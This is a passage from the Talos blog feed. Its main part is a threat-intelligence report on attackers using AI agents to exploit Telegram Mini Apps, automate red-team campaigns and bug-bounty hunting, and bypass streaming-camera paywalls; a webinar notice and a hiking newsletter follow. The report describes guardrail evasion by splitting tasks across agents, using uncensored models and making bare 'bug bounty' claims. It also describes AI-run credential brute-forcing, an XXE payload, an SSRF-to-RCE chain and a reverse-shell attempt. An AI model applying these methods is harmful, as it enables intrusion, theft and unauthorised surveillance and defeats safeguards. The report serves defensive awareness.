contract manipulation (offensive-focused), and information about exploitation capabilities around the platforms that support stablecoins with a specific focus in injecting malicious transactions. Likely demonstrating targeting of Telegram Mini Apps with a goal of extricating cryptocurrency from wallets or gathering credentials to further facilitate monetary gain.</p><p>In the conversations that follow, the actor attempts to find vulnerabilities in a Telegram Mini App. Fortunately, the model pushed back.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-22.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1556" height="663" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-22.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-22.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-22.png 1556w" sizes="(min-width: 720px) 720px"></figure><p>This forced the adversary to pivot to an uncensored model to try and get the results that they wanted, with considerable success. What follows is a series of prompts and guided probing of apps for potential weaknesses. Once the methodology has been established the agent is then moved to an autonomous mode, allowing it to probe the target list and create a report outlining all the issues found. This also involved the use of an orchestrator bot, dubbed Moxy. Below is the testing methodology that was used in each campaign.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-23-1.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1557" height="1027" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-23-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-23-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-23-1.png 1557w" sizes="(min-width: 720px) 720px"></figure><p>This clearly demonstrates the differences between censored and uncensored models, as the actor spent a lot of time trying to convince the censored model to proceed. The uncensored model moved through the activity quickly and effectively.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Screenshot-2026-07-08-at-2.27.27---PM.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1710" height="746" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Screenshot-2026-07-08-at-2.27.27---PM.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Screenshot-2026-07-08-at-2.27.27---PM.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Screenshot-2026-07-08-at-2.27.27---PM.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Screenshot-2026-07-08-at-2.27.27---PM.png 1710w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 5. Sample sanitized penetration test (pentest) report.</span></figcaption></figure><p>The pentest reports generated by the AI agent document real, exploited vulnerabilities in deployed apps &#x2014; hardcoded developer modes that forged Telegram&apos;s initData authentication payload with a bogus &quot;DEV&quot; hash to bypass login entirely, client-side authorization logic, IDOR, wallet-takeover flows, and falsified deposits. In at least one case the agent moved well past demonstration: It dumped the application&apos;s database &#x2014; over 1,300 users and several hundred TON wallet records &#x2014; extracted and verified the app&apos;s Telegram bot token, farmed the in-game economy to reach the top of the leaderboard, and staged a withdrawal transaction. The agent&apos;s own operational diary describes further offensive action against victims, including renaming a target&apos;s bot to a defacement label and watching its payment channel react.</p><p>The operation also extended into building applications, not just breaking them. The recovered artifacts include multiple Android packages. One is the actor&apos;s own instrumentation: a custom Telegram client (&#x201C;com.alextelegram.app,&#x201D; named after the AI persona) built to load Mini Apps in a WebView and read out their &#x201C;window.Telegram.WebApp.initData&#x201D; &#x2014; the same authentication payload the operation&apos;s exploits abused. The rest are clones of victim applications. One is a lightweight WebView wrapper carrying a victim&apos;s branding, rewired to route users through the actor&apos;s own Telegram referral bot. The other is a complete rebuild of a victim app (&quot;SweetBirds,&quot; reissued as &quot;RedBirds&quot;), shipped as a pair: a player-facing application with deposit, exchange and withdrawal flows &#x2014; which still referenced the victim&apos;s original backend while routing wallet-connection traffic to a server the operator controlled &#x2014; and a separate administrative console talking exclusively to that same server. The presence of a purpose-built admin app indicates this was not a proof of concept but a functioning product assembled from a stolen application, with the operator positioned to manage it and receive funds.</p><h2 id="use-cases-ai-as-a-bug-bounty-vulnerability-research-and-pentesting-accelerator">Use cases: AI as a bug bounty, vulnerability research, and pentesting accelerator&#xA0;</h2><p>Throughout this research we came across examples of actors using AI in bug bounty or red team activity. Due to the nature of the work, it is difficult to determine whether the actors are acting on behalf of a client, or whether the narrative exists to coerce the model into bypassing its safety protocols.</p><h3 id="hephaestus-red-teaming-framework">Hephaestus red teaming framework&#xA0;</h3><p>During our research we identified red team toolkits that function as force multipliers, allowing operators to run an operation from reconnaissance through compromise and persistence completely unattended. One such case is the Hephaestus toolkit, which executed multiple campaigns over several months; a full analysis is available <a href="https://oasis-security.io/blog/hephaestus-automated-attack-framework-targeting-government-and-educational-institutions-in-indonesia" rel="noreferrer noopener"><u>here</u></a>.&#xA0;</p><p>The framework packages the tooling needed to compromise a victim and establish persistence with no human action during the process. It draws on several paid online platforms &#x2014; leaked data aggregators, internet scanning services, and threat intelligence collectors &#x2014; to gather information on victims, which it then uses to compromise targets. The proliferation of such private packages is likely to grow substantially, since they can be vibe-coded and iteratively improved through automated log analysis by AI agents. Because the same class of tooling has legitimate red team uses, it presents a dual-use problem that blunts the effectiveness of AI providers&apos; guardrails &#x2014; guardrails that, in the case of local uncensored models, are absent entirely.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Screenshot-2026-07-22-at-10.42.34---AM.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1864" height="2030" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Screenshot-2026-07-22-at-10.42.34---AM.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Screenshot-2026-07-22-at-10.42.34---AM.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Screenshot-2026-07-22-at-10.42.34---AM.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Screenshot-2026-07-22-at-10.42.34---AM.png 1864w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 6. Sample playbook for leveraging breached credentials.</span></figcaption></figure><p>The operators achieved unattended execution by decomposing the campaign across many narrowly scoped agents and playbooks. This is the core evasion technique: Guardrails evaluate each request on its own, so a task representing only a small, innocuous-looking fragment of an operation rarely triggers them. The framework defined more than a dozen role-differentiated agents &#x2014; a scout, a hunter, a navigator, a strike agent, and domain specialists for cloud, CI/CD, and other environments &#x2014; alongside 15 numbered playbooks, each handling a discrete stage of the process. No single agent held the full mission objective, so no single agent&apos;s task resembled an end-to-end attack. Reporting also indicates the operators favored neutral phrasing over overtly offensive terminology in the agent instructions, further reducing the chance that any individual request would trip a safety response.</p><p>Based on the artifacts we recovered, the operators were successful in a series of compromises, primarily across Southeast Asian countries. We found little to no evidence of model pushback or guardrail activation.</p><h3 id="vulnerability-research-pipelines-with-ai">Vulnerability research pipelines with AI&#xA0;</h3><p>At times, we saw actors defining very thorough markdown files detailing the activity, including clear in-scope/out-of-scope definitions and the monetary values associated with each class of vulnerability. One such workspace was built around a real Bugcrowd private engagement: Its instruction file listed the authorized in-scope hosts and the explicitly out-of-scope domains, enumerated the excluded vulnerability classes, restricted the model to unauthenticated testing only, and even encoded the program&apos;s bounty tiers ($100 &#x2013; $150 for P4 up to $1,200 &#x2013; $1,600 for P1). The workspace guided the model through a strict process &#x2014; reconnaissance, feature mapping, SSRF testing, exposed-secret hunting, attack-chain validation, evidence preservation, and report preparation &#x2014; with operational rules to write every finding and HTTP request/response pair to disk on capture, prove potential findings with one more targeted test, and defer only when a genuine external constraint prevented confirmation.</p><p>This let the actor move quickly across targets, find issues, prioritize by payout, preserve evidence, and generate submission-ready reports with the model doing most of the heavy lifting. The output was voluminous and orderly: more than 40 catalogued findings, each with its own evidence tree and Bugcrowd submission draft. Based on what we could identify, the model cooperated with the bug hunting work without issue, and this appeared to be a legitimate researcher using AI to dramatically increase throughput. There were several examples of this pattern.</p><p>On the other hand, Talos found other examples that were less cut-and-dry &#x2014; where the methodology and the prompts painted a picture of a novice trying to break into vulnerability research or someone with unethical intentions. One conversation opens with a request to pentest a target and collect all its URLs from &#x201C;web.archive.org.&#x201D; Notably, in these cases the model frequently pushed back and demanded proof of authorization before proceeding. For example, when asked to test one company&apos;s infrastructure, it responded that active enumeration and vulnerability testing without authorization &quot;is unauthorized access under the Computer Fraud and Abuse Act and equivalent laws,&quot; and asked the actor to share a bug bounty program URL or written engagement scope. In another instance it drew an explicit line: It would verify read-only findings such as CORS reflection and GraphQL introspection, but &quot;won&apos;t execute mutations, create/delete resources, or inject Sentry events &#x2014; those cross into unauthorized modification of production systems regardless of bug bounty context.&quot;</p><p>The actor&apos;s prompts show the profile plainly. Recurring demands to &quot;use minimum tokens&quot; sat alongside unfocused requests to find critical bugs across every category at once:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-24.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1548" height="219" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-24.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-24.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-24.png 1548w" sizes="(min-width: 720px) 720px"></figure><p>Frustration followed when results disappointed, but without any direction on where or how:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-25.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1558" height="225" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-25.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-25.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-25.png 1558w" sizes="(min-width: 720px) 720px"></figure><p>The typos and the repeated appeals to &quot;be creative&quot; and try harder &#x2014; with no targeting of their own &#x2014; mark an actor leaning entirely on the model to supply both the method and the impact. When vulnerabilities were found, there were repeated requests to build proofs-of-concept specifically around remote code execution (RCE), with the model pushing back and the actor insisting on something to &quot;validate impact.&quot; At times, restating that it was &quot;bug bounty&quot; was enough to move the model forward. This even extended to a request to plant a backdoor on the target:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-26.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1556" height="301" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-26.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-26.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-26.png 1556w" sizes="(min-width: 720px) 720px"></figure><p>In the end this appears to be an actor trying to leverage AI to submit bug bounty reports in the hope of making money. We have seen this repeatedly: Unsophisticated actors running &quot;bug bounty&quot; activity through AI, then having the model generate and submit the reports &#x2014; in some cases straight into the actor&apos;s email drafts. Such reports are likely low-value, and the submitter will be unable to answer follow-up questions unless their agent can. This creates a challenge for bug bounty programs across the board: a high volume of low-value reports from a large number of actors applying AI to bounties with varying success and little underlying experience in vulnerability hunting or reporting.</p><h3 id="ai-as-a-pentesting-co-pilot">AI as a pentesting co-pilot&#xA0;</h3><p>Another operation contained 64 AI sessions documenting a Brazilian Portuguese-speaking operator&apos;s pentesting and bug bounty workflow. The activity covered Brazilian e-commerce and health care sites, a staging software-as-a-service (SaaS) application, and other web services. Some evidence supports legitimate consultancy work; for example, the actor described the activity as a pentest, worked against a homologation environment, maintained test spreadsheets, and supplied a Portuguese security report attributed to a security company. Other evidence, discussed below, cuts against a purely authorized reading.</p><p>The operator appears to be a junior-to-intermediate security practitioner but a less experienced developer. They were comfortable with Burp-style requests, Nmap, Hydra, ngrok, common wordlists, and the broad logic of SSRF, IDOR, XXE and rate-limit bypass. At the same time, they repeatedly asked how to run generated code and requested basic explanations of virtual hosts, XML-RPC parameters, cookies, and nonces.</p><p>AI was central to this operation rather than an occasional reference tool. The model issued more than 500 shell actions, selected and ran reconnaissance utilities, interpreted responses, generated proof-of-concept code, fixed failures and drafted a vulnerability report.</p><p>The actor frequently supplied only the desired outcome. For example, they asked:&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-27-1.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1554" height="223" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-27-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-27-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-27-1.png 1554w" sizes="(min-width: 720px) 720px"></figure><p>AI wrote the tool, ran it, encountered a ModSecurity block, and changed the request headers to resemble WordPress traffic. After the actor supplied an inbound ngrok request, AI treated the callback as confirmation and expanded the workflow toward internal-service and cloud-metadata probing.</p><p>The clearest escalation involved WordPress XML-RPC. After demonstrating batched login attempts, the actor instructed AI to &quot;<code>modify it so it can find actual creds</code>&quot; and then to run the RockYou password list. AI transformed the demonstration into a reusable credential tester, corrected its memory behavior, launched it as a background job and monitored its progress. When no password appeared, the actor asked to &quot;<code>bump batch to 500 and add admin username.</code>&quot; The preserved log contained around 1.9 million password candidates attempted without a successful login.</p><p>AI also packaged payloads that the actor could not readily build alone. During file import testing, the actor supplied an XML variable whose value is loaded from an external resource (XXE), that referenced a local system file, and asked AI to &quot;<code>create the xlsx file.</code>&quot; AI constructed the Office Open XML directory structure, embedded the entity in &#x201C;sharedStrings.xml&#x201D; and compressed it into an upload-ready spreadsheet.&#xA0;</p><p>In another session, the actor used the Portuguese phrase &quot;<code>encontre possiveis vulns</code>&quot; (find possible vulnerabilities) before asking for a GraphQL alias-batching request intended to test authentication rate limiting.&#xA0;</p><p>Many conversations show inconsistent safety boundaries. For example, AI refused to run a third-party NGINX heap-corruption RCE exploit against a production website and asked for written authorization. It also recognized and declined a Portuguese HR-themed credential-harvesting form. In other conversations, short assertions such as &quot;<code>it&apos;s my own site</code>&quot; or &quot;<code>my own server</code>&quot; were followed by active fuzzing, WAF-bypass work, and credential attacks. The logs also show the actor acknowledging that a shared-hosting address did not belong to the application target, followed later by FTP, MySQL, and SSH password testing against that infrastructure.</p><h3 id="ai-as-the-operator-behind-access-control-research">AI as the operator behind access control research&#xA0;</h3><p>One of the discovered operations contained two unusually long AI coding-assistant sessions from a Chinese-speaking operator. The actor repeatedly described the work as capture-the-flag (CTF) participation, but the targets seemed to be live AI and streaming services, including live-camera platforms (&#x201C;chuye[.]cam&#x201D;, &#x201C;ixmax[.]cn&#x201D;) built on ZLMediaKit, an open-source streaming media server. The activity focused on bypassing monetization controls and consuming hosted AI models without sufficient quota, as well as obtaining live or recorded video without an account, viewing card, or subscription. Because the streaming targets were live surveillance-camera platforms, this &quot;access without an account&quot; amounted to unauthorized viewing of real camera feeds &#x2014; a more sensitive category than a simple entitlement bypass. The actor frequently encouraged the assistant with prompts such as:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-28.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1558" height="181" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-28.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-28.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-28.png 1558w" sizes="(min-width: 720px) 720px"></figure><p>The AI assistant acted as the operation&apos;s technical engine. Across the two sessions, it performed more than 4,200 tool actions, most of them shell commands. It installed a broad Kali-oriented toolset, reviewed application source, sent web and media protocol requests, analyzed packaged clients, wrote Python and shell utilities, created a Go-based stream player, assembled Docker environments, and drafted reports. The actor usually provided the goal, credentials, or an occasional hint, while the AI assistant selected and executed the workflow.</p><p>The AI-service activity began with a direct request to analyze a gateway derived from NewAPI, an open-source platform that exposes a common OpenAI-compatible API, routes requests to upstream model providers and manages user quotas and billing. Translated from Simplified Chinese, the actor asked the AI assistant to:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-29-1.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1559" height="228" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-29-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-29-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-29-1.png 1559w" sizes="(min-width: 720px) 720px"></figure><p>They later sharpened the objective:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-30.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1560" height="220" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-30.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-30.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-30.png 1560w" sizes="(min-width: 720px) 720px"></figure><p>The streaming work produced more results. The actor instructed the AI assistant to avoid brute force and social engineering, remain behind a proxy, and find the site&apos;s livestreams and replay URLs. The assistant extracted client-side configuration, mapped APIs, evaluated JSON Web Token (JWT) authentication and browser fingerprint checks, and inspected object storage.</p><p>It then tested for the presence of HTTP Live Streaming (HLS), Flash Video (FLV), and Real-Time Messaging Protocol (RTMP). The assistant eventually found that recordings were directly reachable through the media service using RTMP. Preserved tool output showed several valid recordings, some spanning almost an entire day (~84500 seconds).</p><p>The assistant also identified a server-side attack path against the streaming stack itself. Its report documented that ZLMediaKit trusted requests originating from &#x201C;127.0.0[.]1&#x201D; without requiring a secret, so a server-side request forgery (SSRF) flaw in the front-end PHP application could be used to reach the media server&apos;s internal API (&#x201C;/index/api/addFFmpegSource&#x201D;) as a trusted local caller. Chained with FFmpeg&apos;s source-URL handling, this created a potential path to remote code execution on the streaming host.</p><p>The AI assistant then converted these discoveries into reusable tooling. It created a local player, Docker packaging, and recording scripts so the actor could play, capture, and present recovered streams. The recovered Go binary reconstructs authenticated stream URLs for the target camera platforms &#x2014; assembling the per-camera HLS playlist and WeChat-share login and room-view requests &#x2014; and routes traffic through a SOCKS5 proxy, with a hardcoded RTMP ingest endpoint. The actor also packaged a browser-automation bypass tool as a standalone Windows GUI application (built with PyInstaller and PySide6) using a stealth-configured Selenium driver to defeat client-side automation checks.</p><p>The operation later escalated from entitlement bypass to attempted host compromise. The actor told the AI assistant to:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-31.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1559" height="183" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-31.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-31.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-31.png 1559w" sizes="(min-width: 720px) 720px"></figure><p>The assistant downloaded and adapted exploit code for an alleged new NGINX memory-corruption issue, started a reverse-shell listener and repeatedly tested a public-facing service. The requests produced repeatable crash-like behavior and apparent changes in how some protected paths were routed, but the reverse shell never arrived. The assistant ultimately recorded that RCE had failed after address guessing and heap layout assumptions were unsuccessful.</p>]]></content:encoded></item><item><title><![CDATA[[Webinar] Tales from the Frontlines: An exclusive briefing on Q2 incidents]]></title><description><![CDATA[Register for an exclusive, unrecorded 30-minute webinar to review the most high-impact incidents Talos IR faced in Q2.]]></description><link>https://blog.talosintelligence.com/webinar-tales-from-the-frontlines-an-exclusive-briefing-on-q2-incidents/</link><guid isPermaLink="false">6a70a774eced7c0001722de0</guid><category><![CDATA[Cisco Talos Incident Response]]></category><dc:creator><![CDATA[Amy Ciminnisi]]></dc:creator><pubDate>Mon, 03 Aug 2026 16:00:12 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/08/2-1-no-copy.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/08/2-1-no-copy.jpg" alt="[Webinar] Tales from the Frontlines: An exclusive briefing on Q2 incidents"><p>Have you ever read the <a href="https://blog.talosintelligence.com/ir-trends-q2-2026/" rel="noreferrer noopener"><u>Talos IR Quarterly Trends report</u></a> and wondered, &#x201C;How did that phishing or ransomware campaign actually play out? When was Talos IR contacted, how did they contain it, and how did they remediate the environment?&quot;&#xA0;</p><p>You&#x2019;re in luck. Next Tuesday, August 11, Cisco Talos Incident Responders will be hosting an exclusive, unrecorded 30-minute webinar to review the most high-impact incidents our customers faced in Q2 2026. This isn&#x2019;t a rehashing of the report itself, but a candid discussion of what happened, how we handled it, and what it means for your organization.&#xA0;</p><p>The session is designed for security professionals of all levels, from analysts and incident responders to managers and senior leaders. We&apos;ll focus on strategic takeaways and business impact, with just enough technical depth to provide context and spark meaningful conversations.&#xA0;</p><p>Registration is required to attend. Don&#x2019;t miss this chance to hear real-world stories from the frontlines of cyber defense, directly from the team who lived them.</p><div class="kg-card kg-button-card kg-align-center"><a href="https://cs.co/IRTales-2026-Q3" class="kg-btn kg-btn-accent">Register now</a></div>]]></content:encoded></item><item><title><![CDATA[You were onto something with “It’s the Climb,” Miley]]></title><description><![CDATA[Amy hikes Virginia’s most difficult trail and muses on the persistent challenges of cybersecurity. The two aren't dissimilar.]]></description><link>https://blog.talosintelligence.com/you-were-onto-something-with-its-the-climb-miley/</link><guid isPermaLink="false">6a6767278ece31000121ae90</guid><category><![CDATA[Threat Source newsletter]]></category><dc:creator><![CDATA[Amy Ciminnisi]]></dc:creator><pubDate>Thu, 30 Jul 2026 18:00:35 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/threat_source-3.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/threat_source-3.jpg" alt="You were onto something with &#x201C;It&#x2019;s the Climb,&#x201D; Miley"><p>Welcome to this week&#x2019;s edition of the Threat Source newsletter.&#xA0;</p><p>For my fiance&#xE9;&#x2019;s 30<sup>th</sup> birthday, I took her on a weekend trip to Shenandoah National Park &#x2013; a favorite of ours since we went to a wedding there several years back. We&#x2019;ve done several incredible hikes over the years, but one in particular had always loomed over my head: Old Rag, a 9.3 mile circuit hike that&#x2019;s largely considered the most difficult in Virginia.&#xA0;</p><p>I&apos;ve always been warned that at the beginning and end, you <em>hate</em> Old Rag. For the first 2.6 miles, you&#x2019;re hiking a steep climb on a dirt road, with lots of switchbacks, and plenty of places where you turn a corner and groan, because there&#x2019;s an even steeper section ahead. This part was pretty torturous, because 1) I felt like my heart was going to explode out of my chest, 2) I couldn&#x2019;t breathe, and 3) several times, there was a family we passed as they were taking a break, then WE took a break and THEY passed US, and so on and so forth. So awkward.&#xA0;</p><p>Finally, we reached the fun part: a mile-long rock scramble, where you&apos;re squeezing through (and down) narrow rock crevices, cramming your boots to desperately find any leverage to propel yourself upward, and using all your upper body strength to control your descent. This was definitely the most fun part, although my hands and knees were sore by the end.</p><figure class="kg-card kg-gallery-card kg-width-wide"><div class="kg-gallery-container"><div class="kg-gallery-row"><div class="kg-gallery-image"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/DSC08616.jpg.webp" width="1600" height="1067" loading="lazy" alt="You were onto something with &#x201C;It&#x2019;s the Climb,&#x201D; Miley" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/DSC08616.jpg.webp 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/DSC08616.jpg.webp 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/DSC08616.jpg.webp 1600w" sizes="(min-width: 720px) 720px"></div><div class="kg-gallery-image"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/DSC08647-1024x683.jpg.webp" width="1024" height="683" loading="lazy" alt="You were onto something with &#x201C;It&#x2019;s the Climb,&#x201D; Miley" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/DSC08647-1024x683.jpg.webp 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/DSC08647-1024x683.jpg.webp 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/DSC08647-1024x683.jpg.webp 1024w" sizes="(min-width: 720px) 720px"></div></div></div></figure><p>After hiking for hours, you reach the top and realize it was all worth it, because the summit has a a spectacular vie&#x2014;</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Untitled-1.png" class="kg-image" alt="You were onto something with &#x201C;It&#x2019;s the Climb,&#x201D; Miley" loading="lazy" width="2000" height="896" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Untitled-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Untitled-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Untitled-1.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/Untitled-1.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>... That&#x2019;s what we get for being excited to hike in overcast weather. Well, at least the way back down is fun&#x2014; oh wait, four miles downward on a fire 